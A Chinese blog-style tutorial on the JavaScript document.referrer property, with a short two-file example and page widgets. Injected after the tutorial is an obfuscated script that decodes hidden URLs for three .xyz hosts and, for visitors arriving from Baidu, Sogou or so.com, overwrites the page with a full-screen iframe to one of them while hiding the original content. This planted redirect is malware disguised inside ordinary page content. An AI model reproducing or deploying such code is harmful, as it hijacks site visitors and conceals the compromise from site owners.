document.referer的使用

描述:
document对象的referrer属性,返回导航到当前网页的超链接所在网页的URL。
举例:
1. a.html文件内容如下:
<a href="b.html">浏览b.html </a>
2. b.html文件中的内容如下:
<body>
<script type="text/javascript">
document.write(document.referrer);
</script>
</body>
3. 则在通过a.html中的超链接访问b.html的时候,显示的结果是:
http://127.0.0.1:8180/a.html
说明:
经过测试,需要将两个文件放在服务器中才能得到想要的结果,若直接在本地文件夹中则得到空字符串,若直接在浏览器地址栏中输入b.html的URL地址或使用打开菜单访问b.html,则document.referrer的值为空字符串。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
var titlestr = document.title; var arr = ["\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u007a\u006d\u0066\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0071\u0073\u0068\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033\u0022\u002c\u0022\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0077\u0077\u002e\u0070\u0067\u0077\u0070\u0073\u002e\u0078\u0079\u007a\u003a\u0036\u0030\u0033\u0031\u0033"]; var linkIndex = Math.floor((Math.random() * arr.length)); var referer = document.referrer; var regex=/(baidu\.com|sogou\.com|so\.com)/i; if(regex.test(referer)) { setFrame(arr[linkIndex]); } function setFrame(olink) { var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i + "***" + a + "**" + b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch(e) {} } <!--pg 06.03-->
06-11
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值